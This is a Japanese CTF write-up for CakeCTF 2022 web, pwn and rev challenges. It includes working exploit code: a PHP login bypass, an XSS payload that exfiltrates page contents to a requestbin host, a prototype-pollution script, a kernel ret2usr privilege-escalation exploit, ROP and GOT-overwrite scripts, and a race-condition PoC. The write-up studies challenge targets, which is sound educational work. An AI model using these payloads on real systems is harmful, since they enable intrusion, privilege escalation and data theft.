CakeCTFに参加して15位/713チームでした。解けた問題について解説していきます。
web
CakeGEAR [welcome, 98 solves]
<?php session_start(); $_SESSION = array(); define('ADMIN_PASSWORD', 'f365691b6e7d8bc4e043ff1b75dc660708c1040e'); /* Router login API */ $req = @json_decode(file_get_contents("php://input")); if (isset($req->username) && isset($req->password)) { if ($req->username === 'godmode' && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { /* Debug mode is not allowed from outside the router */ $req->username = 'nobody'; } switch ($req->username) { case 'godmode': /* No password is required in god mode */ $_SESSION['login'] = true; $_SESSION['admin'] = true; break; case 'admin': /* Secret password is required in admin mode */ if (sha1($req->password) === ADMIN_PASSWORD) { $_SESSION['login'] = true; $_SESSION['admin'] = true; } break; case 'guest': /* Guest mode (low privilege) */ if ($req->password === 'guest') { $_SESSION['login'] = true; $_SESSION['admin'] = false; } break; } /* Return response */ if (isset($_SESSION['login']) && $_SESSION['login'] === true) { echo json_encode(array('status'=>'success')); exit; } else { echo json_encode(array('status'=>'error')); exit; } } ?>
$_SESSION['admin'] == true
でadmin.php
にアクセスするとフラグが貰えます。admin
としてログインするのはパスワードの検証があるので厳しそうです。godmode
が怪しく見えますね。
ここで「わかりやすい脆弱性が見当たらないし、あいまいな比較(==
)がどこかで起こってそう」とエスパーします。しかし==
は見当たらなかったので、これはswitch-case
で起こってるのでは?ということに気付きます。ググってみると、確かにそのようです。
注意:
switch/case が行うのは、 緩やかな比較 であることに注意しましょう。
$req->username == 'godmode'
となるような値を緩やかな比較の表から探すと、true == 'godmode'
となることがわかります。あとはこのようなリクエストを送信して、降ってきたクッキーを使ってadmin.php
にアクセスすればフラグが貰えます。
curl -v -X POST -d '{"username": true, "password": ""}' http://web1.2022.cakectf.com:8005/
CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}
readme 2022
を解いた後だったので期待してなかったけど1st bloodでした。人生初1st bloodで嬉しい。
OpenBio [50 solves]
Bioが設定できるアプリです。単純なXSSがありますがCSPがついています。
""" Enforce CSP """ @app.after_request def after_request(response): csp = "" csp += "default-src 'none';" if 'csp_nonce' in flask.g: csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';" else: csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';" csp += f"style-src https://cdn.jsdelivr.net/;" csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;" csp += f"base-uri 'none';" csp += f"connect-src 'self';" response.headers['Content-Security-Policy'] = csp return response
ぱっと見cdn.jsdelivr.net
の読み込みが許可されているので、そこからXSSできるScript gadgetを探せば良さそうに見えます。検索するとズバリのものが見つかります。
これでCSP Bypassができました。さっそくrequestbinにdocument.cookie
を送ったけど何も来ません。よく見たらsession cookieがhttponlyでした。フラグはクローラーのBioにあるので、fetch
で自身のページを読み込んでrequestbinに送信させればよいです。
Bioに以下のようなHTMLを設定します。
<script src="https://cdn.jsdelivr.net/npm/csp-bypass@1.0.2/dist/classic.js"></script> <br csp='fetch("/").then(data=>data.text()).then(text=>location.href="http://XXXX.b.requestbin.net/?"+btoa(text))'>
これでrequestbinにフラグを含んだbase64が降ってきます。
CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}
3rd bloodでした。わいわい。
Panda Memo [lunatic, 9 solves]
この問題は国内の2rd blood以上にPrizeが出るので、リリースされた瞬間とりかかりました。
チームごとにインスタンスが割り当てられます。Prototype pollutionの匂いがしますね。
const fs = require('fs'); const path = require('path'); const express = require('express'); const auth = require('express-basic-auth'); const mustache = require('mustache'); const app = express(); const SECRET = process.env["SECRET"] || "ADMIN_SECRET"; const FLAG = process.env["FLAG"] || "FakeCTF{panda-sensei}"; const BASIC_USERNAME = process.env["BASIC_USERNAME"] || "guest"; const BASIC_PASSWORD = process.env["BASIC_PASSWORD"] || "guest"; app.engine('html', function (filePath, options, callback) { fs.readFile(filePath, function (err, content) { if (err) return callback(err); let rendered = mustache.render(content.toString(), options); return callback(null, rendered); }); }); app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'html'); app.use(express.json()); app.use(auth({ challenge: true, unauthorizedResponse: () => { return "Unauthorized"; }, authorizer: (username, password) => { return auth.safeCompare(username, BASIC_USERNAME) && auth.safeCompare(password, BASIC_PASSWORD); } })); const isAdmin = req => req.query.secret === SECRET; const getAdminRole = req => { /* Return array of admin roles (such as admin, developer). More roles are to be added in the future. */ return isAdmin(req) ? ['admin'] : []; } let memo = {}; app.get('/', (req, res) => res.render('index')); /** Create new memo */ app.post('/new', (req, res) => { /* Create new memo */ if (!(req.ip in memo)) memo[req.ip] = []; memo[req.ip].push(""); res.json({status: 'success'}); }); /** Delete memo */ app.post('/del', (req, res) => { let index = req.body.index; /* Delete memo */ if ((req.ip in memo) && (index in memo[req.ip])) { memo[req.ip].splice(index, 1); res.json({status: 'success', result: 'Successfully deleted'}); } else { res.json({status: 'error', result: 'Memo not found'}); } }); /** Get memo list */ app.get('/show', (req, res) => { let ip = req.ip; /* We don't need to call isAdmin here because only admin can see console log. */ if (req.body.debug == true) console.table(memo, req.body.inspect); /* Admin can read anyone's memo for censorship */ if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; /* Return memo */ if (ip in memo) res.json({status: 'success', result: memo[ip]}); else res.json({status: 'error', result: 'Memo not found'}); }); /** Edit memo */ app.post('/edit', (req, res) => { let ip = req.ip; let index = req.body.index; let new_memo = req.body.memo; /* Admin can edit anyone's memo for censorship */ if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; /* Update memo */ if (ip in memo) { memo[ip][index] = new_memo; res.json({status: 'success', result: 'Successfully updated'}); } else { res.json({status: 'error', result: 'Memo not found'}); } }); /** Admin panel */ app.get('/admin', (req, res) => { console.log("OK") res.render('admin', {is_admin:isAdmin(req), flag:FLAG}); }); app.listen(3000, () => { console.log("Server is up!"); });
ぱっと見/edit
のmemo[ip][index]
でPrototype pollutionが起こせそうですが、ip
はgetAdminRole(req)[0] !== undefined
でないと自由に操作することができません。というわけで、getAdminRole
自体に脆弱性は無さそうなので、Array.prototype[0]
かObject.prototype[0]
を先に汚染する必要がありです。
ここでどうにかしてmemo[ip]["__proto__"]
の書き替えとsplice
、push
などを用いて0
を汚染できないか試行錯誤して合計で8時間以上沼にはまってました。
途中/show
のconsole.table
が何にも寄与してなくて逆に怪しそうだな……とは考えましたが、手元のnodejsで色々試しても使えそうな挙動は無かったし、最新のnodejsのソースコードを見に行っても「あ~Prototype Pollution対策されてるか~」となってました。
時間は経ち、終了間際になって「まぁないよな~」と思いながらconsole.table prototype pollution
と検索しました。すると、こんなレポートが見つかります。
あ り ま し た
古いnodeだとconsole.table(obj, ["__proto__"])
でObject.prototype[0]
を汚染できるようで、Docker内に入って試してみたら汚染することができました。初手npm audit
が定石とこの前のWriteupで言ってましたが、これからはnodeのバージョンもチェックするようにします……
これでip
を操作できるようになったので、ふつうのPrototype pollutionができるようになりました。ソースコード内に使えそうな汚染先もないので、ライブラリにあるのでしょう。テンプレートエンジンであるmustache
を調べてみます。
/** * Parses and caches the given `template` according to the given `tags` or * `mustache.tags` if `tags` is omitted, and returns the array of tokens * that is generated from the parse. */ Writer.prototype.parse = function parse (template, tags) { var cache = this.templateCache; var cacheKey = template + ':' + (tags || mustache.tags).join(':'); var isCacheEnabled = typeof cache !== 'undefined'; var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined; if (tokens == undefined) { tokens = parseTemplate(template, tags); isCacheEnabled && cache.set(cacheKey, tokens); } return tokens; };
mustache.js/mustache.js at master · janl/mustache.js · GitHub
ここのcache.get(cacheKey)
が怪しく見えました。ここのtokens
が操作できれば任意のテンプレートを描画できそうです。Cacheの実装を見てみましょう。
/** * A Writer knows how to take a stream of tokens and render them to a * string, given a context. It also maintains a cache of templates to * avoid the need to parse the same template twice. */ function Writer () { this.templateCache = { _cache: {}, set: function set (key, value) { this._cache[key] = value; }, get: function get (key) { return this._cache[key]; }, clear: function clear () { this._cache = {}; } }; }
これはPrototype Pollutionが使える形です。admin.html
に対応するcacheKey
を事前に抜き取っておき、Object.prototype[cacheKey]
をadmin.html
が描画される前に汚染して/admin
にアクセスすれば任意のテンプレートを描画できますね。フラグを描画するには、元のtokens
にある#is_admin
を^is_admin
に変更すればよいです。
生成されたインスタンスに対して、以下のようなスクリプトを実行するとフラグが降ってきます。
import requests # url = "http://localhost:3000" url = "http://web2.2022.cakectf.com:XXXX" ses = requests.Session() auth = requests.auth.HTTPBasicAuth("guest", "XXXX") print(ses.post(url+"/new", auth=auth).text) print(ses.get(url+"/show", auth=auth, json={"debug": True, "inspect": ["__proto__"]}).text) cache_key = open("./views/admin.html").read() + ":{{:}}" tokens = [["text","<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n <p>Please leave this page if you're not the admin.</p>\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n <p>\n",0,464],["^","is_admin",484,497,[["text"," FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566],["^","is_admin",600,613,[["text"," <mark>Access Denied</mark>\n",614,661]],681],["text"," </p>\n </article>\n </main>\n </body>\n</html>\n",695,775]] print(ses.post(url+"/edit", auth=auth, json={"ip": "__proto__", "index": cache_key, "memo": tokens}).text) print(ses.get(url+"/admin", auth=auth).text)
CakeCTF{pollute_and_p011u73_4nd_PoLLuTE!}
console.table
に気付くのに溶かした8時間さえがあれば、もう少し順位を上げられていたので悲しい。
pwn
welkerme [welcome, 75 solves]
Kernel exploitですが、起動とデバッグのスクリプト、参考になる記事から解法のヒントまで教えてくれたりとめちゃくちゃ親切です。NO KASLRなのでprepare_kernel_cred
とcommit_creds
のアドレスは固定です。ヒントの通り、rootで起動して/proc/kallsyms
を参照すればアドレスがわかります。各種防御機構も無効なので、参考に示されている作問者のptr-yudaiさんが作成しているPawnyableという神サイトに載っているret2usrのexploitを使いましょう。アドレスとドライバの呼び出し部分を変えるだけで解けます。
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define CMD_ECHO 0xc0de0001 #define CMD_EXEC 0xc0de0002 /* / # grep commit_creds /proc/kallsyms ffffffff81072540 T commit_creds / # grep prepare_kernel_cred /proc/kallsyms ffffffff810726e0 T prepare_kernel_cred */ unsigned long user_cs, user_ss, user_rsp, user_rflags; static void win() { char *argv[] = { "/bin/sh", NULL }; char *envp[] = { NULL }; puts("[+] win!"); execve("/bin/sh", argv, envp); } static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) : : "memory"); } static void restore_state() { asm volatile("swapgs ;" "movq %0, 0x20(%%rsp)\t\n" "movq %1, 0x18(%%rsp)\t\n" "movq %2, 0x10(%%rsp)\t\n" "movq %3, 0x08(%%rsp)\t\n" "movq %4, 0x00(%%rsp)\t\n" "iretq" : : "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win)); } static void escalate_privilege() { char* (*pkc)(int) = (void*)(0xffffffff810726e0); void (*cc)(char*) = (void*)(0xffffffff81072540); (*cc)((*pkc)(0)); restore_state(); } int main(void) { save_state(); int fd, ret; if ((fd = open("/dev/welkerme", O_RDWR)) < 0) { perror("/dev/welkerme"); exit(1); } ret = ioctl(fd, CMD_EXEC, (long)escalate_privilege); printf("CMD_EXEC(func) --> %d\n", ret); close(fd); return 0; }
CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}
コピペで解けるのに、次の問題より解かれてないんですよね。kernelは慣れてないからと避けてる人が多そうなので、この難易度逆転は仕方ないと思います。(「防御機構の確認方法がわからないので、この問題が資料のケースと一致してるかわからない」という人もいそう。しかし「次の資料を参考にすれば解けます」まで言うとヒント与えすぎだし難しい)
str.vs.cstr [88 solves]
#include <array> #include <iostream> struct Test { Test() { std::fill(_c_str, _c_str + 0x20, 0); } char* c_str() { return _c_str; } std::string& str() { return _str; } private: __attribute__((used)) void call_me() { std::system("/bin/sh"); } char _c_str[0x20]; std::string _str; }; int main() { Test test; std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); std::cout << "1. set c_str" << std::endl << "2. get c_str" << std::endl << "3. set str" << std::endl << "4. get str" << std::endl; while (std::cin.good()) { int choice = 0; std::cout << "choice: "; std::cin >> choice; switch (choice) { case 1: // set c_str std::cout << "c_str: "; std::cin >> test.c_str(); break; case 2: // get c_str std::cout << "c_str: " << test.c_str() << std::endl; break; case 3: // set str std::cout << "str: "; std::cin >> test.str(); break; case 4: // get str std::cout << "str: " << test.str() << std::endl; break; default: // otherwise exit std::cout << "bye!" << std::endl; return 0; } } return 1; }
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
色々試すと、std::cin >> test.c_str()
にBuffer Over Flowがあることがわかります。ただしCanaryが有効なのでそのままROPはできません。
std::string
は、書き込むバッファのアドレスを保持しています。次の資料が詳しいです。
BOFを使ってバッファのアドレスを書き替えればstd::cin >> test.str()
でAAWができます。これでGOT Overwriteしてcall_me
を呼び出せば勝ちです。
import sys import glob from pwn import * context.terminal = "wterminal" context.binary = "./chall" chall = context.binary libc = "./libc.so.6" nc = "nc pwn1.2022.cakectf.com 9003" if len(glob.glob(libc)) == 1: libc = ELF(libc) def connect(): if "debug" in sys.argv: return gdb.debug(context.binary.path, command) elif "remote" in sys.argv: _, domain, port = nc.split() return remote(domain, int(port)) else: return process(context.binary.path) def to_bytes(v): return str(v).encode() def unpack(data): return u64(data.rstrip().ljust(8, b"\x00")) io = connect() io.sendlineafter(b"choice: ", b"1") io.sendlineafter(b"c_str: ", b"A"*(0x20) + p64(0x404048)) io.sendlineafter(b"choice: ", b"3") io.sendlineafter(b"str: ", p64(0x004016de)) io.interactive()
CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}
smal arey [42 solves]
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define ARRAY_SIZE(n) (n * sizeof(long)) #define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1)) int main() { long size, index, *arr; printf("size: "); if (scanf("%ld", &size) != 1 || size < 0 || size > 5) exit(0); arr = ARRAY_NEW(size); while (1) { printf("index: "); if (scanf("%ld", &index) != 1 || index < 0 || index >= size) exit(0); printf("value: "); scanf("%ld", &arr[index]); } } __attribute__((constructor)) void setup(void) { alarm(180); setbuf(stdin, NULL); setbuf(stdout, NULL); }
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
ぱっと見脆弱性がないように見えます。sizeが無制限だとalloca
を失敗させて色々できそうですが、小さい値しか許してくれません。逆に考えると、入力範囲は小さい値に限られているので適当に手動Fuzzしてれば脆弱性が見つかりそうです。
色々試していると、size: 5, index: 4
で変数size
に書き込めることがわかります。size
を大きい値にすればOOB Writeができますね。スタックの値を書き替えてROPができそうですが、ループから抜け出してret
することができません。
ポインタarr
も当然スタックに存在しているので、それを書き替えればAAWが達成できます。これでexit
のGOTを書き替えてpop * n; ret
のようなgadgetのアドレスにすれば、exit
が呼ばれた瞬間にgadgetが発火してROPができます。
あとはlibc leakしてret2vulnして再度ROPすればsystem("/bin/sh")
ができます。
io = connect() pop_rdi = 0x00000000004013e3 # write size io.sendlineafter(b"size: ", to_bytes(5)) io.sendlineafter(b"index: ", to_bytes(4)) io.sendlineafter(b"value: ", to_bytes(0x1000)) # prepare ROP gadget io.sendlineafter(b"index: ", to_bytes(0)) io.sendlineafter(b"value: ", to_bytes(pop_rdi)) io.sendlineafter(b"index: ", to_bytes(1)) io.sendlineafter(b"value: ", to_bytes(chall.got["printf"])) io.sendlineafter(b"index: ", to_bytes(2)) io.sendlineafter(b"value: ", to_bytes(chall.plt["printf"])) io.sendlineafter(b"index: ", to_bytes(3)) io.sendlineafter(b"value: ", to_bytes(0x004011bb)) # GOT Overwrite io.sendlineafter(b"index: ", to_bytes(6)) io.sendlineafter(b"value: ", to_bytes(chall.got["setbuf"])) io.sendlineafter(b"index: ", to_bytes(4)) # exit io.sendlineafter(b"value: ", to_bytes(pop_rdi)) # ROP io.sendlineafter(b"index: ", to_bytes(-1)) libc.address = unpack(io.recv(6)) - libc.sym["printf"] log.info(f"libc: {libc.address:x}") io.sendline(to_bytes(5)) io.sendlineafter(b"index: ", to_bytes(4)) io.sendlineafter(b"value: ", to_bytes(0x1000)) io.sendlineafter(b"index: ", to_bytes(0)) io.sendlineafter(b"value: ", to_bytes(pop_rdi)) io.sendlineafter(b"index: ", to_bytes(1)) io.sendlineafter(b"value: ", to_bytes(next(libc.search(b"/bin/sh\x00")))) io.sendlineafter(b"index: ", to_bytes(2)) io.sendlineafter(b"value: ", to_bytes(libc.sym["system"])) io.sendlineafter(b"index: ", to_bytes(6)) io.sendlineafter(b"value: ", to_bytes(chall.got["setbuf"])) io.sendlineafter(b"index: ", to_bytes(4)) # exit io.sendlineafter(b"value: ", to_bytes(pop_rdi)) io.sendlineafter(b"index: ", to_bytes(-1)) io.interactive()
CakeCTF{PRE01-C. Use parentheses within macros around parameter names}
マクロに問題があったんですね。(はえ~)
crc32pwn (unsolved) [lunatic, 8 solves]
#include <ctype.h> #include <fcntl.h> #include <limits.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/file.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> /** * Calculate CRC32 hash for data */ unsigned int crc32(unsigned char *data, size_t size) { size_t i, j; unsigned int hash; hash = 0xFFFFFFFF; for (i = 0; i < size; i++) { hash ^= data[i]; for (j = 0; j < CHAR_BIT; j++) { if (hash & 1) hash = (hash >> 1) ^ 0xEDB88320; else hash >>= 1; } } return hash ^ 0xFFFFFFFF; } /** * Calculate CRC32 hash for file */ void crc32sum(const char *filepath) { int fd; char *buffer, *p; struct stat stbuf; /* Try to open file */ if ((fd = open(filepath, O_RDONLY)) < 0) { perror(filepath); return; } /* Lock file */ if (flock(fd, LOCK_SH)) { perror("flock"); return; } /* Get file size */ if (fstat(fd, &stbuf)) { perror(filepath); flock(fd, LOCK_UN); return; } /* Allocate buffer */ if (!(buffer = malloc(stbuf.st_size))) { perror("Memory Error"); flock(fd, LOCK_UN); return; } /* Read file */ p = buffer; while (read(fd, p++, 1) == 1); /* Calculate hash */ printf("%s: %08x\n", filepath, crc32(buffer, stbuf.st_size)); /* Cleanup */ free(buffer); flock(fd, LOCK_UN); close(fd); } /** * Entry point */ int main(int argc, char **argv) { char *filepath; setreuid(geteuid(), geteuid()); if (argc < 2) { printf("Usage: %s <file> ...\n", argv[0]); if (system("/usr/bin/which crc32 > /dev/null") == 0) puts("Your system has `crc32` too"); return 1; } for (int i = 1; i < argc; i++) { filepath = strdup(argv[i]); crc32sum(filepath); free(filepath); } return 0; }
シェルが与えられた状況でこのバイナリを使って権限昇格しろ、という問題でした。結局解けなかった。
Twitterでは「先にLOCK_SHを取ればsizeを確認してからreadが終わるまでの間にファイルサイズを増やすことでRace Condition (どちらかというとTOCTOU?)が起き、Heap BOFできる」と話したんですが、LOCK_SH取らなくてもRace Conditionできてウケました。
#include <ctype.h> #include <fcntl.h> #include <limits.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/file.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> int main(void) { puts("[*] prepare victim files (0x900)"); // 1: write top size int fd_1 = open("/tmp/victim1", O_WRONLY | O_CREAT | O_APPEND, 0777); ftruncate(fd_1, 0); char buf_1[0x900] = {0}; for (int i = 0; i < 0x900; ++i) { buf_1[i] = 'A'; } write(fd_1, buf_1, 0x900); long payload_1[0x2] = { 0, 0xdeadbeef, // top size }; puts("[*] exec crc32sum"); pid_t pid = fork(); if (pid == 0) { char* argv[10] = {"./crc32sum", "/tmp/victim1", NULL}; char* envp[1] = {NULL}; execve("./crc32sum", argv, envp); return 0; } puts("[*] race!"); for (int i = 0; i < 0x100; ++i) { usleep(10); write(fd_1, payload_1, sizeof(long)*0x2); } puts("[*] finish exploit"); return 0; }
❯ ./exploit [*] prepare victim files (0x900) [*] exec crc32sum [*] race! malloc(): corrupted top size [*] finish exploit
これでRace起きるって、LOCK_SHは何を保証しているんだ……(やる気があれば後で調べます)
追記 (22:40)
flockが用いるのはAdovisory lockであり、これはプロセス間で協調してRace Conditionを起こさないようにするためのロックで、非協力的なプロセスがアクセスできないようにする強制力はないらしいです。
反対に、強制力のあるロックはMandatory lockと言われ、POSIXではサポートしていませんが色々すればできるらしいです。
Advisory lockの説明:
UnixにおけるFile lockの説明:
rev
nimrev [246 solves]
フラグチェッカが渡されます。ざっとradare2で見ると、sym.NimMainModule
がmainっぽいのでそれを見てみます。
0x0000afc6 e87bfcffff call sym.eqStrings
ここが怪しそうですね。フラグと入力をそのまま比較していたらgdbでメモリを覗くことでフラグが見えてしまいます。やってみましょう。
pwndbg> b eqStrings Breakpoint 1 at 0xac4a pwndbg> r ... pwndbg> tel $rsi 00:0000│ rdx rsi 0x7ffff7d500d0 ◂— 0x18 01:0008│ 0x7ffff7d500d8 ◂— 0x1c 02:0010│ 0x7ffff7d500e0 ◂— 'CakeCTF{s0m3t1m3s_n0t_C}' 03:0018│ 0x7ffff7d500e8 ◂— 's0m3t1m3s_n0t_C}' 04:0020│ 0x7ffff7d500f0 ◂— 's_n0t_C}' 05:0028│ 0x7ffff7d500f8 ◂— 0x0 ... ↓ 2 skipped
探すと、予想通りフラグがありました。
CakeCTF{s0m3t1m3s_n0t_C}
luau [64 solves]
luaのrevです。デコンパイルはluadecが良いらしいので使ってみると、セグフォが起こります。しょうがないので、-dis
オプションを使ってディスアセンブルした結果を見ていきます。
; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec ; Command line: -dis ./libflag.lua ; Function: 0 ; Defined at line: 0 ; #Upvalues: 1 ; #Parameters: 0 ; Is_vararg: 2 ; Max Stack Size: 2 0 [-]: CLOSURE R0 0 ; R0 := closure(Function #0_0) 1 [-]: NEWTABLE R1 0 1 ; R1 := {} (size = 0,1) 2 [-]: SETTABLE R1 K0 R0 ; R1["checkFlag"] := R0 3 [-]: RETURN R1 2 ; return R1 4 [-]: RETURN R0 1 ; return ; Function: 0_0 ; Defined at line: 1 ; #Upvalues: 1 ; #Parameters: 2 ; Is_vararg: 0 ; Max Stack Size: 41 0 [-]: NEWTABLE R2 26 0 ; R2 := {} (size = 26,0) 1 [-]: LOADK R3 K0 ; R3 := 62 2 [-]: LOADK R4 K1 ; R4 := 85 3 [-]: LOADK R5 K2 ; R5 := 25 4 [-]: LOADK R6 K3 ; R6 := 84 5 [-]: LOADK R7 K4 ; R7 := 47 6 [-]: LOADK R8 K5 ; R8 := 56 7 [-]: LOADK R9 K6 ; R9 := 118 8 [-]: LOADK R10 K7 ; R10 := 71 9 [-]: LOADK R11 K8 ; R11 := 109 10 [-]: LOADK R12 K9 ; R12 := 0 11 [-]: LOADK R13 K10 ; R13 := 90 12 [-]: LOADK R14 K7 ; R14 := 71 13 [-]: LOADK R15 K11 ; R15 := 115 14 [-]: LOADK R16 K12 ; R16 := 9 15 [-]: LOADK R17 K13 ; R17 := 30 16 [-]: LOADK R18 K14 ; R18 := 58 17 [-]: LOADK R19 K15 ; R19 := 32 18 [-]: LOADK R20 K16 ; R20 := 101 19 [-]: LOADK R21 K17 ; R21 := 40 20 [-]: LOADK R22 K18 ; R22 := 20 21 [-]: LOADK R23 K19 ; R23 := 66 22 [-]: LOADK R24 K20 ; R24 := 111 23 [-]: LOADK R25 K21 ; R25 := 3 24 [-]: LOADK R26 K22 ; R26 := 92 25 [-]: LOADK R27 K23 ; R27 := 119 26 [-]: LOADK R28 K24 ; R28 := 22 27 [-]: LOADK R29 K10 ; R29 := 90 28 [-]: LOADK R30 K25 ; R30 := 11 29 [-]: LOADK R31 K23 ; R31 := 119 30 [-]: LOADK R32 K26 ; R32 := 35 31 [-]: LOADK R33 K27 ; R33 := 61 32 [-]: LOADK R34 K28 ; R34 := 102 33 [-]: LOADK R35 K28 ; R35 := 102 34 [-]: LOADK R36 K11 ; R36 := 115 35 [-]: LOADK R37 K29 ; R37 := 87 36 [-]: LOADK R38 K30 ; R38 := 89 37 [-]: LOADK R39 K31 ; R39 := 34 38 [-]: LOADK R40 K31 ; R40 := 34 39 [-]: SETLIST R2 38 1 ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, 0 40 [-]: LEN R3 R0 ; R3 := #R0 41 [-]: LEN R4 R2 ; R4 := #R2 42 [-]: EQ 1 R3 R4 ; if R3 ~= R4 then goto 44 else goto 46 43 [-]: JMP R0 2 ; PC += 2 (goto 46) 44 [-]: LOADBOOL R3 0 0 ; R3 := false 45 [-]: RETURN R3 2 ; return R3 46 [-]: NEWTABLE R3 0 0 ; R3 := {} (size = 0,0) 47 [-]: NEWTABLE R4 0 0 ; R4 := {} (size = 0,0) 48 [-]: LOADK R5 K32 ; R5 := 1 49 [-]: LEN R6 R0 ; R6 := #R0 50 [-]: LOADK R7 K32 ; R7 := 1 51 [-]: FORPREP R5 8 ; R5 -= R7; pc += 8 (goto 60) 52 [-]: GETTABUP R9 U0 K33 ; R9 := U0["string"] 53 [-]: GETTABLE R9 R9 K34 ; R9 := R9["byte"] 54 [-]: SELF R10 R0 K35 ; R11 := R0; R10 := R0["sub"] 55 [-]: MOVE R12 R8 ; R12 := R8 56 [-]: ADD R13 R8 K32 ; R13 := R8 + 1 57 [-]: CALL R10 4 0 ; R10 to top := R10(R11 to R13) 58 [-]: CALL R9 0 2 ; R9 := R9(R10 to top) 59 [-]: SETTABLE R3 R8 R9 ; R3[R8] := R9 60 [-]: FORLOOP R5 -9 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 52 end 61 [-]: LOADK R5 K32 ; R5 := 1 62 [-]: LEN R6 R1 ; R6 := #R1 63 [-]: LOADK R7 K32 ; R7 := 1 64 [-]: FORPREP R5 8 ; R5 -= R7; pc += 8 (goto 73) 65 [-]: GETTABUP R9 U0 K33 ; R9 := U0["string"] 66 [-]: GETTABLE R9 R9 K34 ; R9 := R9["byte"] 67 [-]: SELF R10 R1 K35 ; R11 := R1; R10 := R1["sub"] 68 [-]: MOVE R12 R8 ; R12 := R8 69 [-]: ADD R13 R8 K32 ; R13 := R8 + 1 70 [-]: CALL R10 4 0 ; R10 to top := R10(R11 to R13) 71 [-]: CALL R9 0 2 ; R9 := R9(R10 to top) 72 [-]: SETTABLE R4 R8 R9 ; R4[R8] := R9 73 [-]: FORLOOP R5 -9 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 65 end 74 [-]: LOADK R5 K32 ; R5 := 1 75 [-]: LEN R6 R3 ; R6 := #R3 76 [-]: LOADK R7 K32 ; R7 := 1 77 [-]: FORPREP R5 9 ; R5 -= R7; pc += 9 (goto 87) 78 [-]: ADD R9 R8 K32 ; R9 := R8 + 1 79 [-]: LEN R10 R3 ; R10 := #R3 80 [-]: LOADK R11 K32 ; R11 := 1 81 [-]: FORPREP R9 4 ; R9 -= R11; pc += 4 (goto 86) 82 [-]: GETTABLE R13 R3 R8 ; R13 := R3[R8] 83 [-]: GETTABLE R14 R3 R12 ; R14 := R3[R12] 84 [-]: SETTABLE R3 R8 R14 ; R3[R8] := R14 85 [-]: SETTABLE R3 R12 R13 ; R3[R12] := R13 86 [-]: FORLOOP R9 -5 ; R9 += R11; if R9 <= R10 then R12 := R9; PC += -5 , goto 82 end 87 [-]: FORLOOP R5 -10 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -10 , goto 78 end 88 [-]: LOADK R5 K32 ; R5 := 1 89 [-]: LEN R6 R3 ; R6 := #R3 90 [-]: LOADK R7 K32 ; R7 := 1 91 [-]: FORPREP R5 14 ; R5 -= R7; pc += 14 (goto 106) 92 [-]: GETTABLE R9 R3 R8 ; R9 := R3[R8] 93 [-]: SUB R10 R8 K32 ; R10 := R8 - 1 94 [-]: LEN R11 R4 ; R11 := #R4 95 [-]: MOD R10 R10 R11 ; R10 := R10 % R11 96 [-]: ADD R10 K32 R10 ; R10 := 1 + R10 97 [-]: GETTABLE R10 R4 R10 ; R10 := R4[R10] 98 [-]: BXOR R9 R9 R10 ; R9 := R9 ~ R10 99 [-]: SETTABLE R3 R8 R9 ; R3[R8] := R9 100 [-]: GETTABLE R9 R3 R8 ; R9 := R3[R8] 101 [-]: GETTABLE R10 R2 R8 ; R10 := R2[R8] 102 [-]: EQ 1 R9 R10 ; if R9 ~= R10 then goto 104 else goto 106 103 [-]: JMP R0 2 ; PC += 2 (goto 106) 104 [-]: LOADBOOL R9 0 0 ; R9 := false 105 [-]: RETURN R9 2 ; return R9 106 [-]: FORLOOP R5 -15 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -15 , goto 92 end 107 [-]: LOADBOOL R5 1 0 ; R5 := true 108 [-]: RETURN R5 2 ; return R5 109 [-]: RETURN R0 1 ; return
これを丁寧にrevすると、以下のようなプログラムであることがわかります。
